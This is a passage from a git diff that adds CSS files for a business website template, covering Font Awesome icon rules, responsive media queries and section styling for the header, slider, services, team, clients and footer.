}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-steam:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-recycle:before{content:"\f1b8"}.fa-automobile:before,.fa-car:before{content:"\f1b9"}.fa-cab:before,.fa-taxi:before{content:"\f1ba"}.fa-tree:before{content:"\f1bb"}.fa-spotify:before{content:"\f1bc"}.fa-deviantart:before{content:"\f1bd"}.fa-soundcloud:before{content:"\f1be"}.fa-database:before{content:"\f1c0"}.fa-file-pdf-o:before{content:"\f1c1"}.fa-file-word-o:before{content:"\f1c2"}.fa-file-excel-o:before{content:"\f1c3"}.fa-file-powerpoint-o:before{content:"\f1c4"}.fa-file-photo-o:before,.fa-file-picture-o:before,.fa-file-image-o:before{content:"\f1c5"}.fa-file-zip-o:before,.fa-file-archive-o:before{content:"\f1c6"}.fa-file-sound-o:before,.fa-file-audio-o:before{content:"\f1c7"}.fa-file-movie-o:before,.fa-file-video-o:before{content:"\f1c8"}.fa-file-code-o:before{content:"\f1c9"}.fa-vine:before{content:"\f1ca"}.fa-codepen:before{content:"\f1cb"}.fa-jsfiddle:before{content:"\f1cc"}.fa-life-bouy:before,.fa-life-buoy:before,.fa-life-saver:before,.fa-support:before,.fa-life-ring:before{content:"\f1cd"}.fa-circle-o-notch:before{content:"\f1ce"}.fa-ra:before,.fa-resistance:before,.fa-rebel:before{content:"\f1d0"}.fa-ge:before,.fa-empire:before{content:"\f1d1"}.fa-git-square:before{content:"\f1d2"}.fa-git:before{content:"\f1d3"}.fa-y-combinator-square:before,.fa-yc-square:before,.fa-hacker-news:before{content:"\f1d4"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-qq:before{content:"\f1d6"}.fa-wechat:before,.fa-weixin:before{content:"\f1d7"}.fa-send:before,.fa-paper-plane:before{content:"\f1d8"}.fa-send-o:before,.fa-paper-plane-o:before{content:"\f1d9"}.fa-history:before{content:"\f1da"}.fa-circle-thin:before{content:"\f1db"}.fa-header:before{content:"\f1dc"}.fa-paragraph:before{content:"\f1dd"}.fa-sliders:before{content:"\f1de"}.fa-share-alt:before{content:"\f1e0"}.fa-share-alt-square:before{content:"\f1e1"}.fa-bomb:before{content:"\f1e2"}.fa-soccer-ball-o:before,.fa-futbol-o:before{content:"\f1e3"}.fa-tty:before{content:"\f1e4"}.fa-binoculars:before{content:"\f1e5"}.fa-plug:before{content:"\f1e6"}.fa-slideshare:before{content:"\f1e7"}.fa-twitch:before{content:"\f1e8"}.fa-yelp:before{content:"\f1e9"}.fa-newspaper-o:before{content:"\f1ea"}.fa-wifi:before{content:"\f1eb"}.fa-calculator:before{content:"\f1ec"}.fa-paypal:before{content:"\f1ed"}.fa-google-wallet:before{content:"\f1ee"}.fa-cc-visa:before{content:"\f1f0"}.fa-cc-mastercard:before{content:"\f1f1"}.fa-cc-discover:before{content:"\f1f2"}.fa-cc-amex:before{content:"\f1f3"}.fa-cc-paypal:before{content:"\f1f4"}.fa-cc-stripe:before{content:"\f1f5"}.fa-bell-slash:before{content:"\f1f6"}.fa-bell-slash-o:before{content:"\f1f7"}.fa-trash:before{content:"\f1f8"}.fa-copyright:before{content:"\f1f9"}.fa-at:before{content:"\f1fa"}.fa-eyedropper:before{content:"\f1fb"}.fa-paint-brush:before{content:"\f1fc"}.fa-birthday-cake:before{content:"\f1fd"}.fa-area-chart:before{content:"\f1fe"}.fa-pie-chart:before{content:"\f200"}.fa-line-chart:before{content:"\f201"}.fa-lastfm:before{content:"\f202"}.fa-lastfm-square:before{content:"\f203"}.fa-toggle-off:before{content:"\f204"}.fa-toggle-on:before{content:"\f205"}.fa-bicycle:before{content:"\f206"}.fa-bus:before{content:"\f207"}.fa-ioxhost:before{content:"\f208"}.fa-angellist:before{content:"\f209"}.fa-cc:before{content:"\f20a"}.fa-shekel:before,.fa-sheqel:before,.fa-ils:before{content:"\f20b"}.fa-meanpath:before{content:"\f20c"}.fa-buysellads:before{content:"\f20d"}.fa-connectdevelop:before{content:"\f20e"}.fa-dashcube:before{content:"\f210"}.fa-forumbee:before{content:"\f211"}.fa-leanpub:before{content:"\f212"}.fa-sellsy:before{content:"\f213"}.fa-shirtsinbulk:before{content:"\f214"}.fa-simplybuilt:before{content:"\f215"}.fa-skyatlas:before{content:"\f216"}.fa-cart-plus:before{content:"\f217"}.fa-cart-arrow-down:before{content:"\f218"}.fa-diamond:before{content:"\f219"}.fa-ship:before{content:"\f21a"}.fa-user-secret:before{content:"\f21b"}.fa-motorcycle:before{content:"\f21c"}.fa-street-view:before{content:"\f21d"}.fa-heartbeat:before{content:"\f21e"}.fa-venus:before{content:"\f221"}.fa-mars:before{content:"\f222"}.fa-mercury:before{content:"\f223"}.fa-intersex:before,.fa-transgender:before{content:"\f224"}.fa-transgender-alt:before{content:"\f225"}.fa-venus-double:before{content:"\f226"}.fa-mars-double:before{content:"\f227"}.fa-venus-mars:before{content:"\f228"}.fa-mars-stroke:before{content:"\f229"}.fa-mars-stroke-v:before{content:"\f22a"}.fa-mars-stroke-h:before{content:"\f22b"}.fa-neuter:before{content:"\f22c"}.fa-genderless:before{content:"\f22d"}.fa-facebook-official:before{content:"\f230"}.fa-pinterest-p:before{content:"\f231"}.fa-whatsapp:before{content:"\f232"}.fa-server:before{content:"\f233"}.fa-user-plus:before{content:"\f234"}.fa-user-times:before{content:"\f235"}.fa-hotel:before,.fa-bed:before{content:"\f236"}.fa-viacoin:before{content:"\f237"}.fa-train:before{content:"\f238"}.fa-subway:before{content:"\f239"}.fa-medium:before{content:"\f23a"}.fa-yc:before,.fa-y-combinator:before{content:"\f23b"}.fa-optin-monster:before{content:"\f23c"}.fa-opencart:before{content:"\f23d"}.fa-expeditedssl:before{content:"\f23e"}.fa-battery-4:before,.fa-battery:before,.fa-battery-full:before{content:"\f240"}.fa-battery-3:before,.fa-battery-three-quarters:before{content:"\f241"}.fa-battery-2:before,.fa-battery-half:before{content:"\f242"}.fa-battery-1:before,.fa-battery-quarter:before{content:"\f243"}.fa-battery-0:before,.fa-battery-empty:before{content:"\f244"}.fa-mouse-pointer:before{content:"\f245"}.fa-i-cursor:before{content:"\f246"}.fa-object-group:before{content:"\f247"}.fa-object-ungroup:before{content:"\f248"}.fa-sticky-note:before{content:"\f249"}.fa-sticky-note-o:before{content:"\f24a"}.fa-cc-jcb:before{content:"\f24b"}.fa-cc-diners-club:before{content:"\f24c"}.fa-clone:before{content:"\f24d"}.fa-balance-scale:before{content:"\f24e"}.fa-hourglass-o:before{content:"\f250"}.fa-hourglass-1:before,.fa-hourglass-start:before{content:"\f251"}.fa-hourglass-2:before,.fa-hourglass-half:before{content:"\f252"}.fa-hourglass-3:before,.fa-hourglass-end:before{content:"\f253"}.fa-hourglass:before{content:"\f254"}.fa-hand-grab-o:before,.fa-hand-rock-o:before{content:"\f255"}.fa-hand-stop-o:before,.fa-hand-paper-o:before{content:"\f256"}.fa-hand-scissors-o:before{content:"\f257"}.fa-hand-lizard-o:before{content:"\f258"}.fa-hand-spock-o:before{content:"\f259"}.fa-hand-pointer-o:before{content:"\f25a"}.fa-hand-peace-o:before{content:"\f25b"}.fa-trademark:before{content:"\f25c"}.fa-registered:before{content:"\f25d"}.fa-creative-commons:before{content:"\f25e"}.fa-gg:before{content:"\f260"}.fa-gg-circle:before{content:"\f261"}.fa-tripadvisor:before{content:"\f262"}.fa-odnoklassniki:before{content:"\f263"}.fa-odnoklassniki-square:before{content:"\f264"}.fa-get-pocket:before{content:"\f265"}.fa-wikipedia-w:before{content:"\f266"}.fa-safari:before{content:"\f267"}.fa-chrome:before{content:"\f268"}.fa-firefox:before{content:"\f269"}.fa-opera:before{content:"\f26a"}.fa-internet-explorer:before{content:"\f26b"}.fa-tv:before,.fa-television:before{content:"\f26c"}.fa-contao:before{content:"\f26d"}.fa-500px:before{content:"\f26e"}.fa-amazon:before{content:"\f270"}.fa-calendar-plus-o:before{content:"\f271"}.fa-calendar-minus-o:before{content:"\f272"}.fa-calendar-times-o:before{content:"\f273"}.fa-calendar-check-o:before{content:"\f274"}.fa-industry:before{content:"\f275"}.fa-map-pin:before{content:"\f276"}.fa-map-signs:before{content:"\f277"}.fa-map-o:before{content:"\f278"}.fa-map:before{content:"\f279"}.fa-commenting:before{content:"\f27a"}.fa-commenting-o:before{content:"\f27b"}.fa-houzz:before{content:"\f27c"}.fa-vimeo:before{content:"\f27d"}.fa-black-tie:before{content:"\f27e"}.fa-fonticons:before{content:"\f280"}.fa-reddit-alien:before{content:"\f281"}.fa-edge:before{content:"\f282"}.fa-credit-card-alt:before{content:"\f283"}.fa-codiepie:before{content:"\f284"}.fa-modx:before{content:"\f285"}.fa-fort-awesome:before{content:"\f286"}.fa-usb:before{content:"\f287"}.fa-product-hunt:before{content:"\f288"}.fa-mixcloud:before{content:"\f289"}.fa-scribd:before{content:"\f28a"}.fa-pause-circle:before{content:"\f28b"}.fa-pause-circle-o:before{content:"\f28c"}.fa-stop-circle:before{content:"\f28d"}.fa-stop-circle-o:before{content:"\f28e"}.fa-shopping-bag:before{content:"\f290"}.fa-shopping-basket:before{content:"\f291"}.fa-hashtag:before{content:"\f292"}.fa-bluetooth:before{content:"\f293"}.fa-bluetooth-b:before{content:"\f294"}.fa-percent:before{content:"\f295"}.fa-gitlab:before{content:"\f296"}.fa-wpbeginner:before{content:"\f297"}.fa-wpforms:before{content:"\f298"}.fa-envira:before{content:"\f299"}.fa-universal-access:before{content:"\f29a"}.fa-wheelchair-alt:before{content:"\f29b"}.fa-question-circle-o:before{content:"\f29c"}.fa-blind:before{content:"\f29d"}.fa-audio-description:before{content:"\f29e"}.fa-volume-control-phone:before{content:"\f2a0"}.fa-braille:before{content:"\f2a1"}.fa-assistive-listening-systems:before{content:"\f2a2"}.fa-asl-interpreting:before,.fa-american-sign-language-interpreting:before{content:"\f2a3"}.fa-deafness:before,.fa-hard-of-hearing:before,.fa-deaf:before{content:"\f2a4"}.fa-glide:before{content:"\f2a5"}.fa-glide-g:before{content:"\f2a6"}.fa-signing:before,.fa-sign-language:before{content:"\f2a7"}.fa-low-vision:before{content:"\f2a8"}.fa-viadeo:before{content:"\f2a9"}.fa-viadeo-square:before{content:"\f2aa"}.fa-snapchat:before{content:"\f2ab"}.fa-snapchat-ghost:before{content:"\f2ac"}.fa-snapchat-square:before{content:"\f2ad"}.fa-pied-piper:before{content:"\f2ae"}.fa-first-order:before{content:"\f2b0"}.fa-yoast:before{content:"\f2b1"}.fa-themeisle:before{content:"\f2b2"}.fa-google-plus-circle:before,.fa-google-plus-official:before{content:"\f2b3"}.fa-fa:before,.fa-font-awesome:before{content:"\f2b4"}.fa-handshake-o:before{content:"\f2b5"}.fa-envelope-open:before{content:"\f2b6"}.fa-envelope-open-o:before{content:"\f2b7"}.fa-linode:before{content:"\f2b8"}.fa-address-book:before{content:"\f2b9"}.fa-address-book-o:before{content:"\f2ba"}.fa-vcard:before,.fa-address-card:before{content:"\f2bb"}.fa-vcard-o:before,.fa-address-card-o:before{content:"\f2bc"}.fa-user-circle:before{content:"\f2bd"}.fa-user-circle-o:before{content:"\f2be"}.fa-user-o:before{content:"\f2c0"}.fa-id-badge:before{content:"\f2c1"}.fa-drivers-license:before,.fa-id-card:before{content:"\f2c2"}.fa-drivers-license-o:before,.fa-id-card-o:before{content:"\f2c3"}.fa-quora:before{content:"\f2c4"}.fa-free-code-camp:before{content:"\f2c5"}.fa-telegram:before{content:"\f2c6"}.fa-thermometer-4:before,.fa-thermometer:before,.fa-thermometer-full:before{content:"\f2c7"}.fa-thermometer-3:before,.fa-thermometer-three-quarters:before{content:"\f2c8"}.fa-thermometer-2:before,.fa-thermometer-half:before{content:"\f2c9"}.fa-thermometer-1:before,.fa-thermometer-quarter:before{content:"\f2ca"}.fa-thermometer-0:before,.fa-thermometer-empty:before{content:"\f2cb"}.fa-shower:before{content:"\f2cc"}.fa-bathtub:before,.fa-s15:before,.fa-bath:before{content:"\f2cd"}.fa-podcast:before{content:"\f2ce"}.fa-window-maximize:before{content:"\f2d0"}.fa-window-minimize:before{content:"\f2d1"}.fa-window-restore:before{content:"\f2d2"}.fa-times-rectangle:before,.fa-window-close:before{content:"\f2d3"}.fa-times-rectangle-o:before,.fa-window-close-o:before{content:"\f2d4"}.fa-bandcamp:before{content:"\f2d5"}.fa-grav:before{content:"\f2d6"}.fa-etsy:before{content:"\f2d7"}.fa-imdb:before{content:"\f2d8"}.fa-ravelry:before{content:"\f2d9"}.fa-eercast:before{content:"\f2da"}.fa-microchip:before{content:"\f2db"}.fa-snowflake-o:before{content:"\f2dc"}.fa-superpowers:before{content:"\f2dd"}.fa-wpexplorer:before{content:"\f2de"}.fa-meetup:before{content:"\f2e0"}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0, 0, 0, 0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto} diff --git a/css/responsive.css b/css/responsive.css new file mode 100644 index 0000000..49ac446 --- /dev/null +++ b/css/responsive.css @@ -0,0 +1,107 @@ +@media (max-width: 1300px) {} + +@media (max-width: 1120px) {} + +@media (max-width: 992px) { + .hero_area { + min-height: auto; + } + + .hero_area { + background: linear-gradient(130deg, #231a6f, #0f054c); + } + + .hero_area .hero_bg_box { + display: none; + } + + .slider_section { + padding: 45px 0 75px 0; + } + + .custom_nav-container .navbar-nav { + padding-top: 15px; + align-items: center; + } + + + .custom_nav-container .navbar-nav .nav-item .nav-link { + padding: 5px 25px; + margin: 5px 0; + } + + +} + +@media (max-width: 768px) { + .about_section .img-box { + margin-bottom: 45px; + } + +} + +@media (max-width: 576px) { + .header_section .header_top .contact_nav a span { + display: none; + } + + + .client_section .client_container { + width: 100%; + } + + .client_section .box { + margin: 0; + } + + .owl-nav { + display: flex; + justify-content: center; + margin-top: 45px; + } + + .client_section .owl-carousel .owl-nav .owl-prev, + .client_section .owl-carousel .owl-nav .owl-next { + position: unset; + margin: 0 2.5px; + } +} + +@media (max-width: 480px) { + .slider_section .detail-box h1 { + font-size: 2rem; + } + + .track_section form { + flex-direction: column; + align-items: flex-start; + } + + .track_section form input { + width: 100%; + } + + .track_section form button { + padding: 10px 60px; + margin-top: 10px; + } +} + +@media (max-width: 420px) { + .service_section .box { + flex-direction: column; + } + + .service_section .box .img-box { + justify-content: flex-start; + margin-bottom: 15px; + } +} + +@media (max-width: 376px) {} + +@media (min-width: 1200px) { + .container { + max-width: 1170px; + } +} \ No newline at end of file diff --git a/css/style.css b/css/style.css new file mode 100644 index 0000000..0f367a0 --- /dev/null +++ b/css/style.css @@ -0,0 +1,930 @@ +@import url("https://fonts.googleapis.com/css2?family=Lato:wght@400;700&family=Open+Sans:wght@300;400;600;700&display=swap"); +body { + font-family: "Open Sans", sans-serif; + color: #0c0c0c; + background-color: #ffffff; + overflow-x: hidden; +} + +.layout_padding { + padding: 90px 0; +} + +.layout_padding2 { + padding: 75px 0; +} + +.layout_padding2-top { + padding-top: 75px; +} + +.layout_padding2-bottom { + padding-bottom: 75px; +} + +.layout_padding-top { + padding-top: 90px; +} + +.layout_padding-bottom { + padding-bottom: 90px; +} + +.heading_container { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column; + -webkit-box-align: start; + -ms-flex-align: start; + align-items: flex-start; +} + +.heading_container h2 { + position: relative; + font-weight: bold; + margin-bottom: 0; +} + +.heading_container h2 span { + color: #00bbf0; +} + +.heading_container p { + margin-top: 10px; + margin-bottom: 0; +} + +.heading_container.heading_center { + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + text-align: center; +} + +a, +a:hover, +a:focus { + text-decoration: none; +} + +a:hover, +a:focus { + color: initial; +} + +.btn, +.btn:focus { + outline: none !important; + -webkit-box-shadow: none; + box-shadow: none; +} + +/*header section*/ +.hero_area { + position: relative; + min-height: 100vh; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column; +} + +.hero_area .hero_bg_box { + position: absolute; + top: 0; + left: 0; + width: 100%; + height: 100%; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: end; + -ms-flex-align: end; + align-items: flex-end; + overflow: hidden; + z-index: -1; +} + +.hero_area .hero_bg_box .bg_img_box { + min-width: 100%; + min-height: 100%; +} + +.hero_area .hero_bg_box img { + min-width: 100%; + min-height: 100%; +} + +.sub_page .hero_area { + min-height: auto; + background: linear-gradient(130deg, #231a6f, #0f054c); +} + +.sub_page .hero_area .hero_bg_box { + display: none; +} + +.header_section { + padding: 15px 0; +} + +.header_section .container-fluid { + padding-right: 25px; + padding-left: 25px; +} + +.navbar-brand span { + font-weight: bold; + font-size: 24px; + color: #ffffff; +} + +.custom_nav-container { + padding: 0; +} + +.custom_nav-container .navbar-nav { + margin-left: auto; +} + +.custom_nav-container .navbar-nav .nav-item .nav-link { + padding: 5px 20px; + color: #ffffff; + text-align: center; + text-transform: uppercase; + border-radius: 5px; + -webkit-transition: all 0.3s; + transition: all 0.3s; +} + +.custom_nav-container .navbar-nav .nav-item:hover .nav-link, .custom_nav-container .navbar-nav .nav-item.active .nav-link { + color: #00bbf0; +} + +.custom_nav-container .navbar-nav .nav-item.active .nav-link { + font-weight: 600; +} + +.custom_nav-container .nav_search-btn { + width: 35px; + height: 35px; + padding: 0; + border: none; + color: #ffffff; +} + +.custom_nav-container .nav_search-btn:hover { + color: #00bbf0; +} + +.custom_nav-container .navbar-toggler { + outline: none; +} + +.custom_nav-container .navbar-toggler { + padding: 0; + width: 37px; + height: 42px; + -webkit-transition: all 0.3s; + transition: all 0.3s; +} + +.custom_nav-container .navbar-toggler span { + display: block; + width: 35px; + height: 4px; + background-color: #ffffff; + margin: 7px 0; + -webkit-transition: all 0.3s; + transition: all 0.3s; + position: relative; + border-radius: 5px; + transition: all 0.3s; +} + +.custom_nav-container .navbar-toggler span::before, .custom_nav-container .navbar-toggler span::after { + content: ""; + position: absolute; + left: 0; + height: 100%; + width: 100%; + background-color: #ffffff; + top: -10px; + border-radius: 5px; + -webkit-transition: all 0.3s; + transition: all 0.3s; +} + +.custom_nav-container .navbar-toggler span::after { + top: 10px; +} + +.custom_nav-container .navbar-toggler[aria-expanded="true"] { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); +} + +.custom_nav-container .navbar-toggler[aria-expanded="true"] span { + -webkit-transform: rotate(45deg); + transform: rotate(45deg); +} + +.custom_nav-container .navbar-toggler[aria-expanded="true"] span::before, .custom_nav-container .navbar-toggler[aria-expanded="true"] span::after { + -webkit-transform: rotate(90deg); + transform: rotate(90deg); + top: 0; +} + +/*end header section*/ +/* slider section */ +.slider_section { + -webkit-box-flex: 1; + -ms-flex: 1; + flex: 1; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + position: relative; + padding: 45px 0 145px 0; +} + +.slider_section .row { + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; +} + +.slider_section #customCarousel1 { + width: 100%; + position: unset; +} + +.slider_section .detail-box { + color: #00204a; +} + +.slider_section .detail-box h1 { + font-size: 3rem; + font-weight: bold; + text-transform: uppercase; + margin-bottom: 15px; + color: #ffffff; +} + +.slider_section .detail-box p { + color: #fefefe; + font-size: 14px; +} + +.slider_section .detail-box .btn-box { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + margin: 0 -5px; + margin-top: 25px; +} + +.slider_section .detail-box .btn-box a { + margin: 5px; + text-align: center; + width: 165px; +} + +.slider_section .detail-box .btn-box .btn1 { + display: inline-block; + padding: 10px 15px; + background-color: #00bbf0; + color: #ffffff; + border-radius: 0; + -webkit-transition: all 0.3s; + transition: all 0.3s; + border: none; +} + +.slider_section .detail-box .btn-box .btn1:hover { + background-color: #007fa4; +} + +.slider_section .detail-box .btn-box .btn2 { + display: inline-block; + padding: 10px 15px; + background-color: #000000; + color: #ffffff; + border-radius: 0; + -webkit-transition: all 0.3s; + transition: all 0.3s; + border: none; +} + +.slider_section .detail-box .btn-box .btn2:hover { + background-color: black; +} + +.slider_section .img-box { + margin: 45px 0; +} + +.slider_section .img-box img { + width: 100%; + -webkit-animation: upDown 5s infinite; + animation: upDown 5s infinite; +} + +@-webkit-keyframes upDown { + 0% { + -webkit-transform: translateY(-45px); + transform: translateY(-45px); + } + 50% { + -webkit-transform: translateY(45px); + transform: translateY(45px); + } + 100% { + -webkit-transform: translateY(-45px); + transform: translateY(-45px); + } +} + +@keyframes upDown { + 0% { + -webkit-transform: translateY(-45px); + transform: translateY(-45px); + } + 50% { + -webkit-transform: translateY(45px); + transform: translateY(45px); + } + 100% { + -webkit-transform: translateY(-45px); + transform: translateY(-45px); + } +} + +.slider_section .carousel-indicators { + position: unset; + margin: 0; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; +} + +.slider_section .carousel-indicators li { + background-color: #ffffff; + width: 12px; + height: 12px; + border-radius: 100%; + opacity: 1; +} + +.slider_section .carousel-indicators li.active { + width: 20px; + height: 20px; + background-color: #00bbf0; +} + +.service_section { + position: relative; +} + +.service_section .box { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + text-align: center; + margin-top: 45px; + background-color: #f8f8f9; + padding: 20px; + border-radius: 5px; +} + +.service_section .box .img-box { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: start; + -ms-flex-align: start; + align-items: flex-start; + width: 125px; + min-width: 75px; + height: 75px; + margin-bottom: 15px; +} + +.service_section .box .img-box img { + max-width: 100%; + max-height: 100%; + -webkit-transition: all 0.3s; + transition: all 0.3s; +} + +.service_section .box .detail-box h5 { + font-weight: bold; + text-transform: uppercase; +} + +.service_section .box .detail-box a { + color: #00204a; + font-weight: 600; +} + +.service_section .box .detail-box a:hover { + color: #00bbf0; +} + +.service_section .btn-box { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + margin-top: 45px; +} + +.service_section .btn-box a { + display: inline-block; + padding: 10px 45px; + background-color: #00bbf0; + color: #ffffff; + border-radius: 0; + -webkit-transition: all 0.3s; + transition: all 0.3s; + border: none; +} + +.service_section .btn-box a:hover { + background-color: #007fa4; +} + +.about_section { + background-color: #00204a; + color: #ffffff; +} + +.about_section .heading_container { + margin-bottom: 45px; +} + +.about_section .row { + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; +} + +.about_section .img-box img { + max-width: 100%; +} + +.about_section .detail-box h3 { + font-weight: bold; +} + +.about_section .detail-box p { + margin-top: 15px; +} + +.about_section .detail-box a { + display: inline-block; + padding: 10px 45px; + background-color: #00bbf0; + color: #ffffff; + border-radius: 0px; + -webkit-transition: all 0.3s; + transition: all 0.3s; + border: none; + margin-top: 15px; +} + +.about_section .detail-box a:hover { + background-color: #007fa4; +} + +.why_section .box { + margin-top: 45px; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + text-align: center; +} + +.why_section .box .img-box { + margin-bottom: 20px; + width: 120px; + height: 120px; + min-width: 120px; + min-height: 120px; + border-radius: 100%; + border: 5px solid #00204a; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; +} + +.why_section .box .img-box img { + width: 55px; + height: auto; + fill: #00204a; +} + +.why_section .box h5 { + font-weight: bold; + margin-bottom: 10px; +} + +.why_section .box p { + margin-bottom: 0; +} + +.why_section .btn-box { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + margin-top: 45px; +} + +.why_section .btn-box a { + display: inline-block; + padding: 10px 45px; + background-color: #00bbf0; + color: #ffffff; + border-radius: 0; + -webkit-transition: all 0.3s; + transition: all 0.3s; + border: none; +} + +.why_section .btn-box a:hover { + background-color: #007fa4; +} + +/*team section */ +.team_section { + text-align: center; + background-color: #00204a; + color: #ffffff; +} + +.team_section .heading_container { + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; +} + +.team_section .team_container { + padding: 0 15px; +} + +.team_section .team_container .box { + padding: 35px 0 0 0; + border-radius: 5px; + overflow: hidden; + -webkit-transition: all .1s; + transition: all .1s; + margin-top: 45px; + background: -webkit-gradient(linear, left top, left bottom, from(#002759), to(#002b64)); + background: linear-gradient(to bottom, #002759, #002b64); +} + +.team_section .team_container .box .img-box { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; +} + +.team_section .team_container .box .img-box img { + width: 120px; + border-radius: 100%; + border: 5px solid #ffffff; +} + +.team_section .team_container .box .detail-box { + margin: 25px 0; +} + +.team_section .team_container .box .detail-box h5 { + color: #00bbf0; + font-weight: 600; + position: relative; +} + +.team_section .team_container .box .social_box { + padding: 10px 45px 20px 45px; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -ms-flex-pack: justify; + justify-content: space-between; +} + +.team_section .team_container .box .social_box a { + color: #ffffff; + font-size: 22px; +} + +.team_section .team_container .box .social_box a:hover { + color: #00bbf0; +} + +/*team section end*/ +/* client section start */ +.client_section .heading_container { + margin-bottom: 30px; +} + +.client_section .box { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column; + margin: 15px; +} + +.client_section .box .img-box { + position: relative; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + width: 100px; + margin-bottom: -50px; + margin-left: 25px; + position: relative; +} + +.client_section .box .img-box img { + border-radius: 100%; +} + +.client_section .box .client_id { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -ms-flex-pack: justify; + justify-content: space-between; +} + +.client_section .box .client_id .client_info h6 { + font-weight: 600; + margin-bottom: 5px; +} + +.client_section .box .client_id .client_info p { + margin-bottom: 0; + font-size: 15px; + font-size: 14px; + margin-bottom: 10px; +} + +.client_section .box .detail-box { + background-color: #ffffff; + -webkit-box-shadow: 0 0 15px 0 rgba(0, 0, 0, 0.15); + box-shadow: 0 0 15px 0 rgba(0, 0, 0, 0.15); + padding: 75px 25px 25px 25px; +} + +.client_section .box .detail-box i { + color: #00204a; + margin-bottom: 10px; +} + +.client_section .owl-carousel .owl-nav { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + margin-top: 45px; +} + +.client_section .owl-carousel .owl-nav .owl-prev, +.client_section .owl-carousel .owl-nav .owl-next { + width: 55px; + height: 55px; + background-color: #ffffff; + color: #000000; + outline: none; + bottom: 0px; + font-size: 24px; + -webkit-box-shadow: 0 0 5px 0 rgba(0, 0, 0, 0.25); + box-shadow: 0 0 5px 0 rgba(0, 0, 0, 0.25); +} + +.client_section .owl-carousel .owl-nav .owl-prev:hover, +.client_section .owl-carousel .owl-nav .owl-next:hover { + color: #00204a; +} + +/* client section end */ +.info_section { + background-color: #00204a; + color: #ffffff; + padding: 45px 0 15px 0; +} + +.info_section h4 { + font-weight: 600; + margin-bottom: 20px; +} + +.info_section .info_col { + margin-bottom: 30px; +} + +.info_section .info_contact .contact_link_box { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column; +} + +.info_section .info_contact .contact_link_box a { + margin: 5px 0; + color: #ffffff; +} + +.info_section .info_contact .contact_link_box a i { + margin-right: 5px; +} + +.info_section .info_contact .contact_link_box a:hover { + color: #00bbf0; +} + +.info_section .info_social { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + margin-top: 20px; + margin-bottom: 10px; +} + +.info_section .info_social a { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + color: #ffffff; + border-radius: 100%; + margin-right: 10px; + font-size: 24px; +} + +.info_section .info_social a:hover { + color: #00bbf0; +} + +.info_section .info_links { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column; + -ms-flex-wrap: wrap; + flex-wrap: wrap; +} + +.info_section .info_links a { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + margin-bottom: 15px; + color: #ffffff; +} + +.info_section .info_links a:hover { + color: #00bbf0; +} + +.info_section form input { + border: none; + border-bottom: 1px solid #ffffff; + background-color: transparent; + width: 100%; + height: 45px; + color: #ffffff; + outline: none; +} + +.info_section form input::-webkit-input-placeholder { + color: #ffffff; +} + +.info_section form input:-ms-input-placeholder { + color: #ffffff; +} + +.info_section form 